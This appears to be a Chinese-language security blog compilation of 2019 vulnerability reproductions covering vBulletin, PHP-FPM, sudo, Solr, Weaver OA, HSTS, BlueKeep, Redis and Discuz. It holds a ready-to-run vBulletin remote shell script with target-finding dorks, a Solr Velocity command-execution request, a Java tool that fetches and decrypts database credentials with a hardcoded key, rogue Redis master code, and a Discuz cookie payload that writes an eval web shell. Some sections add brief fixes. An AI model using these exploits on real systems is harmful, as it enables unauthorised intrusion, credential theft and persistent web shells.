vBulletin 5.x 0day pre-auth RCE漏洞重现

0x00 概述 201909 vbulletin5(5.0.0-5.5.4)爆出rce漏洞,利用文件ajax/render/widget_php和post参数widgetConfig[code]可直接远程代码执行。   0x01 漏洞重现 https://seclists.org/fulldisclosure/2019/Sep/31 #!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # – site:*.vbulletin.net # – “Powered by vBulletin Version 5.5.4”   import requests import sys   if len(sys.argv) != 2: sys.exit(“Usage: %s <URL to vBulletin>” % sys.argv[0])   params = {“routestring”:”ajax/render/widget_php”}   while True: try: cmd = raw_input(“vBulletin$ “) params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+”‘); exit;” r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit(“Exploit failed! :(“) except KeyboardInterrupt: sys.exit(“\nClosing shell…”) except Exception, e: sys.exit(str(e))   0x02 检测工具 https://github.com/theLSA/vbulletin5-rce   0x03 修复方案 打补丁。    

PHP+nginx RCE(CVE-2019-11043)漏洞重现

0x00 概述 来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞。 当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大。 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致nginx传递给php-fpm的 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷,所以攻击者可以使用换行符(%0a)来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。   0x01 影响范围 当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞 location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; fastcgi_pass   php:9000; … } } 5.6 crash 7 rce   0x02 漏洞重现 https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md https://github.com/neex/phuip-fpizdam //go install //go get -v //go build     https://github.com/search?q=fastcgi_split_path&type=Code 某大神分享的nextcloud案例: https://docs.nextcloud.com/server/17/admin_manual/installation/nginx.html https://www.zoomeye.org/searchResult?q=nextcloud+%2Bserver:Nginx+%2B&t=all   0x03 数据流量 据说这个exp写得十分精妙。   0x04 修复方案 根据需求,将以下配置删除 fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; or 补丁 https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest   0x05 结语 还是有不少这样配置的,影响较大。   0x06 参考资料 https://mp.weixin.qq.com/s?src=11&timestamp=1572095484&ver=1936&signature=oPmPaXehqGEgAHy6nc0mARQbu5NbL-3GTFrbcxQghC4qvehLlpE9ohw6uTuP0hwcmtOvA3mZWUXhOEImDu0*ltYMJmrMrb-ATqNxOqEMYmV7yV4ntWOQl2JYrhx4*MQ2&new=1  

sudo漏洞可绕过sudoers安全配置并以root执行命令

0x00 概述 20191015 网上爆出sudo漏洞cve-2019-14287(苹果研究员joe vennix发现),即使在sudoers文件中配置了不允许以root执行某命令,但是攻击者可以利用#-1或#4294967295绕过安全配置,并以root执行某命令。 该漏洞影响bash<1.8.28   0x01 漏洞重现 sudo -u#-1 vim   0x02 漏洞分析 #-1(32位二进制数值溢出后被截断)或#4294967295(2的32次方-1)会被id转用户名的函数误认为 0。Root用户id为0,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。 此外,由于通过–u 选项指定的用户 ID 并不存在于密码数据库中,因此不会运行任何 PAM 会话模块。如果sudoers 条目被写入允许用户以除 root 身份以外的用户身份运行命令,则可利用该 bug 绕过该限制。   0x03 结语 sudoers标准配置无安全问题,不用慌……  

apache solr velocity模板注入漏洞重现

0x00 概述 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。 //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true 影响范围在solr 5.x – 8.2.0  (with config api)   0x01 漏洞重现 solr-spec 6.6.1 先利用未授权修改params.resource.loader.enabled参数值为true POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” } } 再 GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983   0x02 检测工具 https://github.com/theLSA/solr-rce   0x03 防御方案 1.配置授权访问solr控制台。 2.配置文件configoverlay.json设置只读   0x04 参考资料 https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

泛微OA数据库(MSSQL)配置泄露漏洞重现

0x00 概述 201910,网上爆出泛微数据库(MSSQL)配置泄露漏洞,攻击者可以通过漏洞页面DBconfigReader.jsp将获取的的内容解密,可得到明文数据库配置。 影响范围包括不限于8.0、9.0版。   0x01 漏洞重现 利用ecologyexp.jar   package com;   import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils;   import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom;   public class ReadDbConfig { private final static String DES = “DES”; private final static String key = “1z2x3c4v5b6n”;   public static void main(String[] args) throws Exception { if(args[0]!=null&& args[0].length() !=0){ String url = args[0]+”/mobile/DBconfigReader.jsp”; System.out.println(ReadConfig(url)); }else{ System.err.print(“use: java -jar ecologyExp  http://127.0.0.1”); } }   private static String ReadConfig(String url) throws Exception { CloseableHttpClient httpClient = HttpClientBuilder.create().build(); HttpGet httpGet = new HttpGet(url); CloseableHttpResponse response = httpClient.execute(httpGet); HttpEntity responseEntity = response.getEntity();   byte[] res1 = EntityUtils.toByteArray(responseEntity);   byte[] data = subBytes(res1,10,res1.length-10);   byte [] finaldata =decrypt(data,key.getBytes());   return (new String(finaldata)); }   private static byte[] decrypt(byte[] data, byte[] key) throws Exception {   SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(key); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(DES); cipher.init(Cipher.DECRYPT_MODE, securekey, sr);   return cipher.doFinal(data); }   public static byte[]……

绕过HSTS抓包方法整理

0x00 HSTS概述 HSTS的作用是强制客户端(如浏览器)使用HTTPS与服务器创建连接。 只要浏览器曾经与服务器创建过一次安全连接,之后浏览器会强制使用HTTPS,即使链接被换成了HTTP。 另外,如果中间人使用自己的自签名证书来进行攻击,浏览器会给出警告,但是许多用户会忽略警告。HSTS解决了这一问题,一旦服务器发送了HSTS字段,用户将不再允许忽略警告。 HSTS存在一个比较薄弱的环节,那就是浏览器没有当前网站的HSTS信息的时候,或者第一次访问网站的时候,依然需要一次明文的HTTP请求和重定向才能切换到HTTPS,以及刷新HSTS信息。而就是这么一瞬间却给攻击者留下了可乘之机,使得他们可以把这一次的HTTP请求劫持下来,继续中间人攻击。 这是因为首次访问时,浏览器还未收到HSTS,所以仍有可能通过明文HTTP来访问。解决这个不足目前有两种方案,一是浏览器预置HSTS域名列表(Preload List),Google Chrome、Firefox、Internet Explorer和Spartan实现了这一方案。二是将HSTS信息加入到域名系统记录中。但这需要保证DNS的安全性,也就是需要部署域名系统安全扩展。截至2014年这一方案没有大规模部署。 参考https://kuaibao.qq.com/s/20180422G1BB7200?refer=spider   特征如Strict-Transport-Security: max-age=31536000; includeSubDomains   0x01 绕过方法 1.chrome://net-internals/#hsts Delete query   2.右键图标,选择属性,找到”目标”文本框,里面的内容是你的Chrome程序路径,类似 C:UsersAdministratorAppDataLocalGoogleChromeApplicationchrome.exe 在这段文本的后面输入一个空格,然后输入––ignore-certificate-errors   3.使用老版本的Firefox 3.6.25 ,老版本浏览器不识别Strict-Transport-Security字段,再导入burpsuite的根证书到浏览器即可。   4.安装证书作为受信任的根CA,在这种情况下是Burp生成的证书   5.第一步在firefox地址栏输入about:config,选‘i accept the risk’,进入后任意位置右键,选择‘new’,选择‘interger’,输入‘test.currentTimeOffsetSeconds’(无引号),选确定,在输入‘11491200’   6.mitmf   0x02 参考资料 https://kuaibao.qq.com/s/20180422G1BB7200?refer=spider https://www.jianshu.com/p/caa80c7ad45c http://www.wisedream.net/2017/03/17/cryption/crack-https/  

CVE-2019-0708 RDP RCE漏洞重现(20190907-MSF-EXP)

0x00 概述 前情提要RDP RCE(CVE-2019-0708)集锦 20190907 msf更新cve-2019-0708的exp,瞬间一片震动,经测试,该exp在特定条件下可用。   0x01 影响范围 Target: 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Hyper-V)   0x02 漏洞重现 1.环境:msf5.0.46dev,vm12.5.7,nat,win7旗舰版x64sp1-7601(cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso)开启3389,reload_all 修改后的4个rb文件,target 2。 cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 2. 环境 cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso 不改注册表   修改注册表 //HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam为0 未发现该注册表键值,手动增加并设置0 还是蓝屏   注: 2008r2withsp1 english standard需要修改注册表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam]值修改为0。 打一次要重启靶机一次否则可能会失败。 Windows 2008 r2据说很多都蓝屏…… 更新msf到最新。 调低核心数如2核心2g/1核1g……(多核竞争?) 关闭自动更新防止自动打补丁影响测试。   0x03 结语 目前这个exp如果要利用成功,限制过多,如操作系统版本号,平台,安全设备等诸多因素会影响,估计实战成功率不高,不过这已经是一个大飞跃,预计不久后会有更完善的exp出现。 蠕虫正步步紧逼……   0x04 参考资料 https://github.com/rapid7/metasploit-framework/pull/12283 https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/

利用redis主从进行RCE

0x00 概述 redis常见利用未授权访问漏洞,参考redis未授权访问漏洞利用 现在还可以利用redis的主从特性进行RCE,详情参考ppt 影响redis4和5。   0x01 重现 环境: 受害机: docker run –name redis5-alpine -d -v $PWD:/data –restart=always -p 6379:6379 hareemca123/redis5:alpine 或者 docker run –name redis4-6379 -p 6379:6379 -d redis:4.0 攻击机: 利用脚本 https://github.com/jas502n/Redis-RCE   0x02 原理 主从握手机制见下图 //此图源自网络 攻击大概流程: 创建一个恶意的redis服务器master,用来发送执行命令的module(exp_lin.so) 关键代码: def handle(self, data): resp = “” phase = 0 if data.find(“PING”) > -1: resp = “+PONG” + CLRF phase = 1 elif data.find(“REPLCONF”) > -1: resp = “+OK” + CLRF phase = 2 elif data.find(“PSYNC”) > -1 or data.find(“SYNC”) > -1: resp = “+FULLRESYNC ” + “Z” * 40 + ” 0″ + CLRF resp += “$” + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase 2. 在受害redis上将恶意redis设置为master:SLAVEOF vps port。 关键代码: print(“[*] Sending SLAVEOF command to server”) remote.do(“SLAVEOF {} {}”.format(lhost, lport)) back = remote._sock.getsockname() print(“\033[92m[+]\033[0m Accepted connection from {}:{}”.format(back[0], back[1])) 3. 在受害redis设置dbfilename和dir。 关键代码: print(“[*] Setting filename”) remote.do(“CONFIG SET dir /tmp/”) remote.do(“CONFIG SET dbfilename {}”.format(expfile)) 4. 通过同步将module写入受害redis磁盘上:+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload> 关键代码: class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port =……

discuz ml RCE漏洞重现及分析

0x00 概述 7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。   0x01 影响范围 Discuz!ML v.3.4 , Discuz!ML v.3.2 , Discuz!ML v.3.3 product of codersclub.org   0x02 漏洞重现 http://xxx.org/discuzx/portal.php select english or other language   让请求cookie含有xxxx_xxxx_language visit http://xxx.org/discuzx/portal.php again change:4gH4_0df5_language=en’.phpinfo().’; or 4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;   getshell LSmZ_2132_language=es’.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.’;     0x03 检测工具 https://github.com/theLSA/discuz-ml-rce   0x04 漏洞分析 Discuz ml v3.4 为例 dizcuz-ml-34\upload\source\module\portal\portal_index.php:32 include_once template(‘diy:portal/index’); 包含了template函数渲染的文件 进入template函数看看 dizcuz-ml-34\upload\source\function\function_core.php:524 /*vot*/ $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).’.php’) && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.’.htm’))) { $tplfile = ‘./template/default/’.$filebak.’.htm’; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile; 返回了缓存文件名 根据poc可知是language可控,那就是DISCUZ_LANG可控了。 再看看在哪里赋值 dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304 // set language from cookies   if($this->var[‘cookie’][‘language’]) {   $lng = strtolower($this->var[‘cookie’][‘language’]); 从cookie-language取值给$lng 338 $this->var[‘oldlanguage’] = $lng; // Store Old Language Value for compare   // define DISCUZ_LANG define(‘DISCUZ_LANG’, $lng);   // set new language to cookie dsetcookie(‘language’, $lng);   // set new language variables $this->var[‘language’] = $lng; $lng赋值给了DISCUZ_LANG 根据poc q3KZ_2132_language=sc’.system(‘whoami’).’; 最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’; 包含闭合引号导致执行了代码。 /× 执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887 ×/   0x05 防御方案 1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all 2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。 3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。   0x06 结语 Easy to rce!……